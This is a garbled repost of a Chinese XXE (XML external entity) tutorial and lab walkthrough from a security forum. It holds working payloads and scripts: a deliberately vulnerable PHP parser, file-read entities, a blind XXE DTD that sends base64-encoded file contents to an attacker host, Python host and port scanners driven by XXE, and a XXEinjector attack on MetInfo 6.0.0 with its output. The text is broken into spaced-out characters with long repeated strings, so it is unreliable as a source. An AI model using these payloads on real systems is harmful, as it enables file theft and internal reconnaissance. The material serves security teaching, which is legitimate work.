[6413] 2020-01-08_深入浅出学习—XXE

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-17
2020-01-08_深入浅出学习—XXE X X E E   2 0 2 0 - 0 1 - 0 8   T e a m s S i x N o . 1 N o . 1 使 N o . 2 N o . 2 X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X M L X X E X M L   E x t e r n a l   E n t i t y   I n j e c t i o n   X M L   X X E   " X "     " E x t e r n a l "   X E E   X X E   X M L X M L E x t e n s i b l e   M a r k u p   L a n g u a g e     H T M L     X M L     H T M L     X M L   X M L     H T M L     X M L     H T M L   1 . X M L   X M L     X M L     D T D D o c u m e n t   T y p e D e f i n i t i o n   西   D T D     X M L     X M L   D T D     D T D     D T D     X M L     D T D     X M L     . d t d     D T D     X M L     .
< ! - - X M L - - > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! - - D T D - - > < ! D O C T Y P E   n o t e   [   # n o t e < ! E L E M E N T   n o t e   ( b o d y ) >   # n o t e " b o d y " < ! E L E M E N T   b o d y   ( # P C D A T A ) >   # b o d y " # P C D A T A " < ! E N T I T Y   w r i t e r   " h e l l o   w o r d " >   # ] > < ! - - - - >                                                                                                                                                 < n o t e > < b o d y > & w r i t e r < / b o d y > < / n o t e >   7     1 1     w r i t e r     & w r i t e r     " h e l l o   w o r d "   < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y   >   # A N Y < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / c : / t e s t . d t d "   > ] > < r o o t > < b o d y > & x x e < / b o d y >   # < / r o o t >   4       7     & x x e     c : / t e s t . d t d     S Y S T E M   便 便   S Y S T E M   使   P U B L I C     D T D   < ! D O C T Y P E     P U B L I C   D T D   D T D U R I >   S Y S T E M   1   ( B u i l t - i n   e n t i t i e s ) 2   ( C h a r a c t e r   e n t i t i e s ) 3   ( G e n e r a l   e n t i t i e s ) 4   ( P a r a m e t e r   e n t i t i e s )   H T M L   < ! E N T I T Y   %   a n - e l e m e n t   " < ! E L E M E N T   m y t a g   ( s u b t a g ) > " > < ! E N T I T Y   %   r e m o t e - d t d   S Y S T E M   " h t t p : / / s o m e w h e r e . e x a m p l e . o r g / r e m o t e . d t d " > % a n - e l e m e n t ;   % r e m o t e - d t d ;
  " % "   使   " %   "   ( )     D T D   使   " %   "     D T D     B l i n d   X X E   2 X M L X M L X M L # X M L < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " > < U S E R   r o l e = " a d m i n " > < / U S E R > U s e r 1 < / U S E R > < U S E R   r o l e = " a d m i n " > U s e r 2 X M L # X M L < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " > < U S E R   r o l e = " a d m i n " > U s e r 1 < / U S E R > < U S E R   r o l e = " a d m i n " > U s e r 2 < / U S E R > X M L   X M L   X M L   X X E N o . 3 N o . 3 X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E X X E a I P 1 9 2 . 1 6 8 . 3 8 . 1 3 2 W i n 7   +   p h p s t u d y   +   a p a c h e   +   p h p b I P 1 9 2 . 1 6 8 . 1 0 . 3 0 W i n 1 0   +   p h p s t u d y   +   a p a c h e   +   B u r p S u i t e   +   P y t h o n 3 便 使 1   ( N o r m a l   X X E ) x x e _ t e s t . p h p
< ? p h p     l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r   ( f a l s e ) ;     $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ;     $ d o m   =   n e w   D O M D o c u m e n t ( ) ;     $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ;     $ c r e d s   =   s i m p l e x m l _ i m p o r t _ d o m ( $ d o m ) ;       e c h o   $ c r e d s ; ? > C f l a g . t x t   " X X E   P a y l o a d   E x e c u t e d   S u c c e s s f u l l y ! ! ! " p a y l o a d < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   c r e d s   [ < ! E N T I T Y   g o o d i e s   S Y S T E M   " f i l e : / / / c : / f l a g . t x t " >   ] > < c r e d s > & g o o d i e s ; < / c r e d s > f l a g . t x t   &   <   >       < X X E   P a y l o a d   E x e c u t e d   S u c c e s s f u l l y ! ! ! > 访
使 C D A T A W I K I C D A T A C D A T A c h a r a c t e r   d a t a S G M L X M L X M L C D A T A   s e c t i o n C D A T A " < "     " & "     " <   " C D A T A "   C D A T A   P a y l o a d C D A T A   P a y l o a d < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t t a g   [ < ! E N T I T Y   %   s t a r t   " < ! [ C D A T A [ " >     < ! E N T I T Y   %   g o o d i e s   S Y S T E M   " f i l e : / / / c : / f l a g . t x t " > < ! E N T I T Y   %   e n d   " ] ] > " > < ! E N T I T Y   %   d t d   S Y S T E M   " h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 3 0 / e v i l . d t d " >   # I P % d t d ;   ] > < r o o t t a g > & a l l ; < / r o o t t a g > e v i l . d t d < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! E N T I T Y   a l l   " % s t a r t ; % g o o d i e s ; % e n d ; " > C D A T A P a y l o a d X M L X M L X M L 2   ( B l i n d   X X E ) x x e _ t e s t . p h p < ? p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r   ( f a l s e ) ; $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ; ? >
e v i l . d t d < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / c : / f l a g . t x t " > < ! E N T I T Y   %   i n t   " < ! E N T I T Y   & # 3 7 ;   s e n d   S Y S T E M   ' h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 3 0 : 9 9 9 9 ? p = % f i l e ; ' > " >   # I P P a y l o a d < ! D O C T Y P E   c o n v e r t   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 3 0 / e v i l . d t d " >   # I P % r e m o t e ; % i n t ; % s e n d ; ] > e v i l . d t d 9 9 9 9 n c 9 9 9 9 b a s e 6 4 便   " c : / f l a g . t x t "   b a s e 6 4 X M L   B l i n d   X X E   3 H T T P S h o w   m e   t h e   c o d e P y t h o n 3 P a y l o a d 线 线 线   T e a m s S i x   I P   x e e _ t e s t . p h p   N o r m a l   X X E P a y l o a d i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 d e f   X X E ( i p , s t r i n g ) : t r y :   x m l   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > " " "   x m l   =   x m l   +   " r n "   +   " " " < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > " " "   x m l   =   x m l   +   " r n "   +   " " " < ! E N T I T Y   x x e   S Y S T E M   " " "   +   ' " '   +   s t r i n g   +   ' " '   +   " " " > ] > " " "   x m l   =   x m l   +   " r n "   +   " " " < x m l > " " "   x m l   =   x m l   +   " r n "   +   " " "         < s t u f f > & x x e ; < / s t u f f > " " "   x m l   =   x m l   +   " r n "   +   " " " < / x m l > " " "   x   =   r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 3 8 . 1 3 2 / x x e _ t e s t . p h p ' ,   d a t a = x m l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 5 ) . t e x t   #   c o d e d _ s t r i n g   =   x . s p l i t ( '   ' ) [ - 2 ]   p r i n t ( '   [ + ] ' , i p , ' S u c c e s s f u l l y   F o u n d   ! ! ! ' )   e x c e p t :   p r i n t ( '   [ - ] ' , i p , ' E r r o r ' )     p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : h e a d e r s   =   { ' C o n t e n t - T y p e ' : ' a p p l i c a t i o n / x m l ' }   f o r   i   i n   r a n g e ( 1 , 2 5 5 ) :   i p   =   ' 1 9 2 . 1 6 8 . 3 8 . '   +   s t r ( i )     # I P   s t r i n g   =   ' p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = h t t p : / / '   +   i p   +   ' / '   X X E ( i p , s t r i n g )
~ #   p y t h o n 3   i n h o s t s c a n . p y [ + ]   1 9 2 . X X X . X X . 1   S u c c e s s f u l l y   F o u n d   ! ! !   [ + ]   1 9 2 . X X X . X X . 2   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . 1 6 8 . 3 8 . 3   E r r o r [ - ]   1 9 2 . X X X . X X . 4   E r r o r   [ - ]   1 9 2 . X X X . X X . 1 2 8   E r r o r [ + ]   1 9 2 . X X X . X X . 1 2 9   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . X X X . X X . 1 3 0   E r r o r [ - ]   1 9 2 . X X X . X X . 1 3 1   E r r o r [ + ]   1 9 2 . X X X . X X . 1 3 2   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . X X X . X X . 1 3 3   E r r o r [ - ]   1 9 2 . X X X . X X . 1 3 4   E r r o r 4 H T T P I P P a y l o a d P a y l o a d i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 d e f   X X E ( p o r t ) : x m l   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >   " " " x m l   =   x m l   +   " r n "   +   " " " < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X 1 2 9 : " " "   +   s t r ( p o r t )   +   " " " / "   [ " " " x m l   =   x m l   +   " r n "   +   " " " < ! E L E M E N T   d a t a   ( # P C D A T A ) >   " " " x m l   =   x m l   +   " r n "   +   " " " ] > " " " x m l   =   x m l   +   " r n "   +   " " " < d a t a > 7 < / d a t a > " " " r   =   r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . X X X . X X . 1 3 2 / x x e _ t e s t . p h p ' ,   d a t a = x m l , t i m e o u t = 5 )   # p r i n t ( p o r t , r . e l a p s e d . t o t a l _ s e c o n d s ( ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :   f o r   i   i n   r a n g e ( 1 , 6 5 5 3 5 ) :   X X E ( i ) P a y l o a d ~ #   p y t h o n   p o r t s c a n . p y 1   1 . 0 1 4 7 0 3 2   1 . 0 1 3 7 8 2 1   1 . 0 3 9 3 3 7 2 2   0 . 0 2 0 8 9 5 2 3   1 . 0 2 2 8 8 2 1 1 0 1 . 0 3 3 7 5 1 1 1 1   0 . 0 0 8 6 3 4 1 1 2   1 . 0 3 8 7 7 4   2 2     1 1 1   便   2 2 1 1 0   B u r p P a y l o a d < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >   < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 2 2 / "   [ < ! E L E M E N T   d a t a   ( # P C D A T A ) > ] > < d a t a > 7 < / d a t a > P a y l o a d B u r p P y t h o n
N o . 4 N o . 4 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 X X E M e t I n f o 6 . 0 . 0 C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S C M S a I P 1 9 2 . 1 6 8 . 3 8 . 1 3 2 W i n 7   +   p h p s t u d y   +   a p a c h e   +   p h p b I P 1 9 2 . 1 6 8 . 5 . 9 1 9 2 . 1 6 8 . 3 8 . 1 2 9 W i n 1 0   +   K a l i   +   p h p s t u d y   +   a p a c h e   +   B u r p S u i t e   +   P y t h o n 3   +   R u b y 便 使 1 h t t p s : / / w w w . m e t i n f o . c n / u p l o a d / f i l e / M e t I n f o 6 . 0 . 0 . z i p W W W 访 I P C M S L i n u x 使 便 2 X X E   X X E i n j e c t o r 使 . / X X E i n j e c t o r . r b   - - h o s t = 1 9 2 . 1 6 8 . 3 8 . 1 2 9   - - f i l e = m e t l n f o _ r e q . t x t   - - p a t h = C : / f l a g . t x t   - - v e r b o s e   - - h t t p p o r t = 9 9 9   - - o o b = h t t p   - - p h p f i l t e r - - h o s t   I P - - f i l e   - - p a t h   j a v a - - v e r b o s e   使 - - h t t p p o r t   8 0 I P
- - o o b   o u t   o f   b a n d f t p ( ) h t t p g o p h e r 使 h t t p - - p h p f i l t e r   使 P H P   f i l t e r B a s e 6 4   - - f i l e   I P " X X E I N J E C T "   P O S T   / m e m b e r / i n d e x . p h p ? a = d o n o t i f y & m = w e b & c = p a y & n = p a y   H T T P / 1 . 1 H o s t :   1 9 2 . X X X . X X . 1 3 2   # I P U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l M a c   O S   X   1 0 . 1 3 ;   r v : 6 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 1 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e C o n t e n t - T y p e :   t e x t / x m l R e f e r e r :   h t t p : / / 1 9 2 . X X X . X X . 1 3 2 /     # I P X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t D N T :   1 C o n n e c t i o n :   c l o s e P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e C o n t e n t - L e n g t h : 2 5 X X E I N J E C T < d a t a > 4 < / d a t a > X X E i n j e c t o r R u b y K a l i R u b y K a l i 使
r o o t @ k a l i : ~ #   . / X X E i n j e c t o r . r b   - - h o s t = 1 9 2 . X X X . X X . 1 2 9   - - f i l e = m e t l n f o _ r e q . t x t   - - p a t h = C : / f l a g . t x t   - - v e r b o s e   - - h t t p p o r t = 9 9 9   - - o o b = h t t p   - - p h p f i l t e r X X E i n j e c t o r   b y   J a k u b   P a ł a c z y ń s k i E n u m e r a t i o n   o p t i o n s : " y "   -   e n u m e r a t e   c u r r e c t   f i l e   ( d e f a u l t ) " n "   -   s k i p   c u r r e c t   f i l e " a "   -   e n u m e r a t e   a l l   f i l e s   i n   c u r r e c t   d i r e c t o r y " s "   -   s k i p   a l l   f i l e s   i n   c u r r e c t   d i r e c t o r y " q "   -   q u i t [ + ]   S e n d i n g   r e q u e s t   w i t h   m a l i c i o u s   X M L : h t t p : / / 1 9 2 . X X X . X X . 1 3 2 : 8 0 / m e m b e r / i n d e x . p h p ? a = d o n o t i f y & m = w e b & c = p a y & n = p a y { " U s e r - A g e n t " = > " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 3 ;   r v : 6 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 1 . 0 " ,   " A c c e p t " = > " a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t , * / * ;   q = 0 . 0 1 " ,   " A 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 " ,   " A c c e p t - E n c o d i n g " = > " g z i p , d e f l a t e " ,   " C o n t e n t - T y p e " = > " t e x t / x m l " , " R e f e r e r " = > " h t t p : / / 1 9 2 . X X X . X X . 1 3 2 / " ,   " X - R e q u e s t e d - W " 1 " ,   " C o n n e c t i o n " = > " c l o s e " ,   " P r a g m a " = > " n o - c a c h e " ,   " C a c h e - C o n t r o l " = > " n o - c a c h e " , " C o n t e n t - L e n g t h " = > " 1 1 9 " } < ! D O C T Y P E   c o n v e r t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 9 9 9 / f i l e . d t d " > % r e m o t e ; % i n t ; % t r i c k ; ] > < d a t a > 4 < / d a t a > [ + ]   G o t   r e q u e s t   f o r   X M L : G E T   / f i l e . d t d   H T T P / 1 . 0 [ + ]   R e s p o n d i n g   w i t h   X M L   f o r :   C : / f l a g . t x t [ + ]   X M L   p a y l o a d   s e n t : < ! E N T I T Y   %   p a y l   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / C : / f l a g . t x t " > < ! E N T I T Y   %   i n t   " < ! E N T I T Y   & # 3 7 ;   t r i c k   S Y S T E M   ' h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 9 9 9 / ? p = % p a y l ; ' > " > [ + ]   R e s p o n s e   w i t h   f i l e / d i r e c t o r y   c o n t e n t   r e c e i v e d : G E T   / ? p = W F h F I F B h e W x v Y W Q g R X h l Y 3 V 0 Z W Q g U 3 V j Y 2 V z c 2 Z 1 b G x 5 I S E h   H T T P / 1 . 0 [ + ]   R e t r i e v e d   d a t a : [ + ]   N o t h i n g   e l s e   t o   d o .   E x i t i n g . C : / f l a g . t x t b a s e 6 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则